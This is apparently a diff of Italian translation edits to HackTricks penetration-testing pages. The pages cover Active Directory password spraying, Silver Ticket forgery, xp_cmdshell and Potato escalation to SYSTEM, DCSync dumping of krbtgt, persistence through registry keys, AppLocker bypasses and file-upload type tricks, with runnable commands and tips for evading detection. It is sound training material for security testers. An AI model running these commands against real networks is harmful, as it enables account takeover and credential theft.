|
||||
- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è valido (vedi esempio nel post)
|
||||
- **`pdflib` library**: Aggiungi un falso formato PDF all'interno di un campo del JSON in modo che la library lo interpreti come un PDF (vedi esempio nel post)
|
||||
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale soglia in modo che non riesca a parseare il contenuto come JSON e poi, all'interno del JSON, inserisci la parte iniziale di un vero PDF e lo considererà un PDF
|
||||
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
|
||||
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
|
||||
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
|
||||
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Consulta l'ottimo articolo di:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
**Consulta l'ottimo articolo:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,16 +5,16 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
Una volta che hai trovato diversi **valid usernames** puoi provare le più **common passwords** (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.\
|
||||
Per **default** la **minimum password length** è **7**.
|
||||
Una volta che hai trovato diversi **valid usernames**, puoi provare le **common passwords** più diffuse (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.
|
||||
Per impostazione predefinita la lunghezza minima della **password** è **7**.
|
||||
|
||||
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Nota che potresti **could lockout some accounts if you try several wrong passwords** (di default più di 10).
|
||||
Nota che potresti bloccare alcuni account se provi diverse **wrong passwords** (di default più di 10).
|
||||
|
||||
### Get password policy
|
||||
### Ottieni la password policy
|
||||
|
||||
Se hai some user credentials o una shell come domain user puoi **get the password policy with**:
|
||||
Se hai delle credenziali utente o una shell come domain user puoi **ottenere la password policy con**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,9 +31,9 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Sfruttamento da Linux (o tutti)
|
||||
### Exploitation da Linux (o tutti)
|
||||
|
||||
- Utilizzando **crackmapexec:**
|
||||
- Usando **crackmapexec:**
|
||||
```bash
|
||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare lockouts):**_
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare blocchi):**_
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA
|
||||
- Usare [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
@ -69,7 +69,7 @@ done
|
||||
```
|
||||
#### Da Windows
|
||||
|
||||
- Con [Rubeus](https://github.com/Zer1t0/Rubeus) versione con brute module:
|
||||
- Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con il modulo brute:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +77,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la password policy dal dominio e limiterà i tentativi in base a questa):
|
||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e ottiene i criteri delle password dal dominio, limitando i tentativi in base a essi):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Identificare e prendere il controllo degli account "Password must change at next logon" (SAMR)
|
||||
### Identificare e Prendere il Controllo degli Account "Password must change at next logon" (SAMR)
|
||||
|
||||
Una tecnica a basso impatto consiste nell'usare password spraying con una password benign/empty e rilevare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, il che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente.
|
||||
Una tecnica a basso impatto è sprayare una benign/empty password e intercettare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, il che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente.
|
||||
|
||||
Workflow:
|
||||
- Enumerare gli utenti (RID brute via SAMR) per creare la lista degli obiettivi:
|
||||
- Enumerare gli utenti (RID brute via SAMR) per costruire la lista di target:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
@ -99,12 +99,12 @@ Workflow:
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Esegui un password-spray con una password vuota e continua sui hits per catturare account che devono cambiare al prossimo logon:
|
||||
- Esegui password spraying con una password vuota e continua sui risultati per catturare gli account che devono cambiare la password al prossimo accesso:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Per ogni hit, cambia la password tramite SAMR con il modulo NetExec (non è necessaria la vecchia password quando "must change" è impostato):
|
||||
- Per ogni hit, cambia la password via SAMR usando il modulo di NetExec (non è necessaria la password vecchia quando "must change" è impostato):
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
@ -114,26 +114,26 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
Note operative:
|
||||
- Assicurati che l'orologio del tuo host sia sincronizzato con il DC prima di effettuare operazioni basate su Kerberos: `sudo ntpdate <dc_fqdn>`.
|
||||
- Un [+] senza (Pwn3d!) in alcuni moduli (es. RDP/WinRM) significa che le creds sono valide ma l'account non ha i diritti di accesso interattivo.
|
||||
- Assicurati che l'orologio della tua macchina sia sincronizzato con il DC prima delle operazioni basate su Kerberos: `sudo ntpdate <dc_fqdn>`.
|
||||
- Un [+] senza (Pwn3d!) in alcuni moduli (ad es., RDP/WinRM) significa che le creds sono valide ma l'account non ha i diritti di accesso interattivo.
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
### Kerberos pre-auth spraying con targeting LDAP e throttling consapevole delle PSO (SpearSpray)
|
||||
### Kerberos pre-auth spraying con targeting LDAP e throttling consapevole di PSO (SpearSpray)
|
||||
|
||||
Il spraying basato su Kerberos pre-auth riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio alle policy di lockout di AD. SpearSpray combina targeting guidato da LDAP, un motore di pattern e la conoscenza delle policy (domain policy + PSOs + badPwdCount buffer) per spruzzare in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound.
|
||||
Lo spraying basato su Kerberos pre-auth riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio con le policy di lockout di AD. SpearSpray combina il targeting guidato da LDAP, un motore di pattern e la consapevolezza delle policy (domain policy + PSOs + badPwdCount buffer) per eseguire lo spray in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound.
|
||||
|
||||
Concetti chiave:
|
||||
- Scoperta utenti via LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
|
||||
- Domain lockout policy + filtraggio consapevole delle PSO per lasciare un buffer configurabile di tentativi (soglia) ed evitare di bloccare gli utenti.
|
||||
- Kerberos pre-auth validation usando fast gssapi bindings (genera 4768/4771 sui DCs invece di 4625).
|
||||
- Generazione password basata su pattern, per utente, utilizzando variabili come nomi e valori temporali derivati dal pwdLastSet di ciascun utente.
|
||||
- Controllo del throughput con threads, jitter e max requests per second.
|
||||
- Discovery utenti LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
|
||||
- Domain lockout policy + PSO-aware filtering per lasciare un buffer configurabile di tentativi (soglia) e evitare di bloccare gli utenti.
|
||||
- Validazione Kerberos pre-auth usando binding gssapi veloci (genera 4768/4771 sui DC invece di 4625).
|
||||
- Generazione password basata su pattern, per utente, usando variabili come nomi e valori temporali derivati dal pwdLastSet di ciascun utente.
|
||||
- Controllo del throughput con threads, jitter e massimo di richieste al secondo.
|
||||
- Integrazione opzionale con Neo4j per marcare gli utenti compromessi per BloodHound.
|
||||
|
||||
Uso e scoperta di base:
|
||||
Uso e discovery di base:
|
||||
```bash
|
||||
# List available pattern variables
|
||||
spearspray -l
|
||||
@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# LDAPS (TCP/636)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||
```
|
||||
Targeting e controllo dei pattern:
|
||||
Selezione degli obiettivi e controllo dei pattern:
|
||||
```bash
|
||||
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||
@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||
```
|
||||
Controlli di Stealth e sicurezza:
|
||||
Controlli di stealth e sicurezza:
|
||||
```bash
|
||||
# Control concurrency, add jitter, and cap request rate
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||
@ -180,23 +180,23 @@ Available variables include:
|
||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||
|
||||
Operational notes:
|
||||
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
|
||||
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
|
||||
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
|
||||
- Privilegiare le query al PDC-emulator con -dc per leggere il badPwdCount più autorevole e le informazioni relative alle policy.
|
||||
- I reset di badPwdCount vengono attivati al tentativo successivo dopo la finestra di osservazione; usa soglia e temporizzazione per rimanere al sicuro.
|
||||
- I tentativi di pre-auth Kerberos si manifestano come 4768/4771 nella telemetry del DC; usa jitter e rate-limiting per mimetizzarti.
|
||||
|
||||
> Suggerimento: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||
> Suggerimento: la dimensione predefinita della pagina LDAP di SpearSpray è 200; regola con -lps se necessario.
|
||||
|
||||
## Outlook Web Access
|
||||
|
||||
Esistono più strumenti per p**assword spraying outlook**.
|
||||
Esistono diversi strumenti per p**assword spraying outlook**.
|
||||
|
||||
- Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- Con [Ruler](https://github.com/sensepost/ruler) (affidabile!)
|
||||
- Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
- With [Ruler](https://github.com/sensepost/ruler) (affidabile!)
|
||||
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Per usare uno di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di password per il password spraying.
|
||||
Per usare uno di questi strumenti, ti serve una lista di utenti e una password — o una piccola lista di password — da usare per il password spraying.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
|
||||
@ -6,14 +6,15 @@
|
||||
|
||||
## Silver ticket
|
||||
|
||||
L'attacco **Silver Ticket** comporta lo sfruttamento dei ticket di servizio negli ambienti Active Directory (AD). Questo metodo si basa sull'**acquisizione dell'NTLM hash di un account di servizio**, come un account computer, per forgiare un Ticket Granting Service (TGS) ticket. Con questo ticket forgiato, un attaccante può accedere a servizi specifici sulla rete, **impersonando qualsiasi utente**, generalmente puntando a privilegi amministrativi. Si sottolinea che l'uso di AES keys per forgiare i ticket è più sicuro e meno rilevabile.
|
||||
L'attacco **Silver Ticket** consiste nello sfruttamento dei service ticket negli ambienti Active Directory (AD). Questo metodo si basa sul **recupero dell'hash NTLM di un account di servizio**, ad esempio un account computer, per forgiare un Ticket Granting Service (TGS). Con questo ticket contraffatto, un attaccante può accedere a servizi specifici sulla rete, **assumendo l'identità di qualsiasi utente**, solitamente con l'obiettivo di ottenere privilegi amministrativi. Si sottolinea che l'uso di chiavi AES per forgiare i ticket è più sicuro e meno rilevabile.
|
||||
|
||||
> [!WARNING]
|
||||
> I Silver Tickets sono meno rilevabili dei Golden Tickets perché richiedono solo l'**hash dell'account di servizio**, non l'account krbtgt. Tuttavia, sono limitati al servizio specifico che prendono di mira. Inoltre, basta compromettere la password di un utente: se comprometti la **password di un account con un SPN** puoi usare quella password per creare un Silver Ticket e impersonare qualsiasi utente per quel servizio.
|
||||
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
|
||||
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
|
||||
|
||||
Per la creazione dei ticket, vengono impiegati strumenti diversi in base al sistema operativo:
|
||||
Per la creazione dei ticket, vengono impiegati strumenti diversi a seconda del sistema operativo:
|
||||
|
||||
### On Linux
|
||||
### Su Linux
|
||||
```bash
|
||||
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
|
||||
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
|
||||
@ -36,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
||||
# Obtain a shell
|
||||
.\PsExec.exe -accepteula \\<TARGET> cmd
|
||||
```
|
||||
### Esempio: MSSQL service (MSSQLSvc) + Potato to SYSTEM
|
||||
Il servizio CIFS è evidenziato come un obiettivo comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono anche essere sfruttati per task e query WMI.
|
||||
|
||||
Il servizio CIFS è evidenziato come un bersaglio comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono anche essere sfruttati per task e query WMI.
|
||||
### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM
|
||||
|
||||
Se possiedi l'hash NTLM (o la chiave AES) di un account di servizio SQL (es. sqlsvc) puoi forgiare un TGS per il MSSQL SPN e impersonare qualsiasi utente verso il servizio SQL. Da lì, abilita xp_cmdshell per eseguire comandi come l'account di servizio SQL. Se quel token ha SeImpersonatePrivilege, esegui una escalation con Potato per ottenere SYSTEM.
|
||||
Se hai l'hash NTLM (o la chiave AES) di un account di servizio SQL (p.es., sqlsvc) puoi forgiare un TGS per il MSSQL SPN e impersonare qualsiasi utente verso il servizio SQL. Da lì, abilita xp_cmdshell per eseguire comandi come l'account di servizio SQL. Se quel token ha SeImpersonatePrivilege, chain a Potato per elevare a SYSTEM.
|
||||
```bash
|
||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||
@ -51,14 +52,14 @@ export KRB5CCNAME=$PWD/administrator.ccache
|
||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||
```
|
||||
- Se il contesto risultante ha SeImpersonatePrivilege (spesso vero per service accounts), usa una variante di Potato per ottenere SYSTEM:
|
||||
- Se il contesto risultante ha SeImpersonatePrivilege (spesso vero per gli account di servizio), usa una variante di Potato per ottenere SYSTEM:
|
||||
```bash
|
||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||
PrintSpoofer.exe -c "cmd /c whoami"
|
||||
# or
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
```
|
||||
Più dettagli sull'abuso di MSSQL e l'abilitazione di xp_cmdshell:
|
||||
Maggiori dettagli sull'abuso di MSSQL e l'abilitazione di xp_cmdshell:
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -75,42 +76,41 @@ Panoramica delle tecniche Potato:
|
||||
| Tipo di servizio | Service Silver Tickets |
|
||||
| ------------------------------------------ | -------------------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
|
||||
| Scheduled Tasks | HOST |
|
||||
| Windows File Share, also psexec | CIFS |
|
||||
| LDAP operations, included DCSync | LDAP |
|
||||
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>A seconda del sistema operativo anche:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>In alcune occasioni puoi chiedere semplicemente: WINRM</p> |
|
||||
| Attività pianificate | HOST |
|
||||
| Condivisione file Windows, anche psexec | CIFS |
|
||||
| Operazioni LDAP, incluso DCSync | LDAP |
|
||||
| Strumenti di amministrazione remota server Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| Golden Tickets | krbtgt |
|
||||
|
||||
Usando **Rubeus** puoi **richiedere tutti** questi ticket usando il parametro:
|
||||
|
||||
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||
|
||||
### Event ID dei Silver tickets
|
||||
### ID evento dei Silver tickets
|
||||
|
||||
- 4624: Accesso account
|
||||
- 4634: Chiusura sessione account
|
||||
- 4672: Accesso amministratore
|
||||
- 4634: Disconnessione account
|
||||
- 4672: Accesso admin
|
||||
|
||||
## Persistenza
|
||||
|
||||
Per evitare che le macchine ruotino la loro password ogni 30 giorni impostare `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oppure puoi impostare `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` su un valore maggiore di 30 giorni per indicare il periodo di rotazione quando la password della macchina dovrebbe essere ruotata.
|
||||
Per evitare che le macchine ruotino la loro password ogni 30 giorni imposta `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oppure puoi impostare `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` su un valore maggiore di 30 giorni per indicare il periodo di rotazione in cui la password della macchina dovrebbe essere aggiornata.
|
||||
|
||||
## Abuso dei Service tickets
|
||||
|
||||
Negli esempi seguenti immaginiamo che il ticket sia stato ottenuto impersonando l'account administrator.
|
||||
Nei seguenti esempi immaginiamo che il ticket sia ottenuto impersonando l'account Administrator.
|
||||
|
||||
### CIFS
|
||||
|
||||
Con questo ticket potrai accedere alle cartelle `C$` e `ADMIN$` via **SMB** (se esposte) e copiare file su una parte del filesystem remoto semplicemente facendo qualcosa del tipo:
|
||||
Con questo ticket sarai in grado di accedere alle cartelle `C$` e `ADMIN$` via **SMB** (se esposte) e copiare file in una parte del filesystem remoto semplicemente facendo qualcosa del tipo:
|
||||
```bash
|
||||
dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
```
|
||||
Sarai anche in grado di ottenere una shell sull'host o eseguire comandi arbitrari usando **psexec**:
|
||||
|
||||
Sarai anche in grado di ottenere una shell all'interno dell'host o eseguire comandi arbitrari usando **psexec**:
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/psexec-and-winexec.md
|
||||
@ -132,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
|
||||
```
|
||||
### HOST + RPCSS
|
||||
|
||||
Con questi tickets puoi **eseguire WMI sul sistema della vittima**:
|
||||
Con questi ticket puoi **eseguire WMI sul sistema della vittima**:
|
||||
```bash
|
||||
#Check you have enough privileges
|
||||
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
|
||||
@ -151,11 +151,11 @@ Trova **maggiori informazioni su wmiexec** nella pagina seguente:
|
||||
|
||||
### HOST + WSMAN (WINRM)
|
||||
|
||||
Con accesso winrm a un computer puoi **accedervi** e persino ottenere una PowerShell:
|
||||
Con accesso winrm su un computer puoi **accedervi** e persino ottenere una PowerShell:
|
||||
```bash
|
||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||
```
|
||||
Consulta la pagina seguente per scoprire **altri modi per connetterti a un host remoto usando winrm**:
|
||||
Check the following page to learn **more ways to connect with a remote host using winrm**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -167,11 +167,11 @@ Consulta la pagina seguente per scoprire **altri modi per connetterti a un host
|
||||
|
||||
### LDAP
|
||||
|
||||
Con questo privilegio puoi dump the DC database using **DCSync**:
|
||||
Con questo privilegio puoi eseguire il dump del database del DC usando **DCSync**:
|
||||
```
|
||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||||
```
|
||||
**Per saperne di più su DCSync** nella seguente pagina:
|
||||
**Scopri di più su DCSync** nella seguente pagina:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -1,13 +1,13 @@
|
||||
# Controlli di Sicurezza Windows
|
||||
# Controlli di sicurezza di Windows
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Criteri AppLocker
|
||||
## Politica AppLocker
|
||||
|
||||
Un application whitelist è un elenco di software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvato che non è allineato alle specifiche esigenze di business di un'organizzazione.
|
||||
Una application whitelist è una lista di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. Lo scopo è proteggere l'ambiente da malware dannoso e software non approvato che non è in linea con le specifiche esigenze aziendali di un'organizzazione.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di application whitelisting** di Microsoft e dà agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, packaged apps e packed app installers.\
|
||||
È comune che le organizzazioni **blocchino cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere bypassato**.
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di application whitelisting** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce un **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, packaged apps e packed app installers.\
|
||||
È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura ad alcune directory, **ma tutto questo può essere bypassed**.
|
||||
|
||||
### Verifica
|
||||
|
||||
@ -26,21 +26,21 @@ Questo percorso del registro contiene le configurazioni e le politiche applicate
|
||||
|
||||
### Bypass
|
||||
|
||||
- Utili **Writable folders** to bypass AppLocker Policy: Se AppLocker consente l'esecuzione di qualsiasi cosa all'interno di `C:\Windows\System32` o `C:\Windows`, ci sono **writable folders** che puoi usare per **bypass this**.
|
||||
- Esempi di **cartelle scrivibili** utili per eludere AppLocker Policy: se AppLocker consente l'esecuzione di qualsiasi elemento all'interno di `C:\Windows\System32` o `C:\Windows`, esistono **cartelle scrivibili** che puoi usare per **eludere questo**.
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- I binari comunemente **affidabili** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere anche utili per bypassare AppLocker.
|
||||
- **Regole scritte male potrebbero essere bypassate**
|
||||
- Per esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** in qualsiasi punto e sarà consentita.
|
||||
- I binari comunemente considerati **trusted** di [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili anche per bypassare AppLocker.
|
||||
- **Regole scritte male possono essere aggirate**
|
||||
- Per esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita.
|
||||
- Le organizzazioni spesso si concentrano sul **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma si dimenticano delle **altre** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
|
||||
- **DLL enforcement very rarely enabled** a causa del carico aggiuntivo che può imporre sul sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi usare le **DLL come backdoors aiuta a bypassare AppLocker**.
|
||||
- Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per maggiori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
- **L'enforcement delle DLL è molto raramente abilitato** a causa del carico aggiuntivo che può imporre su un sistema e della quantità di testing richiesta per assicurarsi che nulla si rompa. Quindi usare **DLLs come backdoor aiuta ad aggirare AppLocker**.
|
||||
- Puoi utilizzare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per maggiori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
|
||||
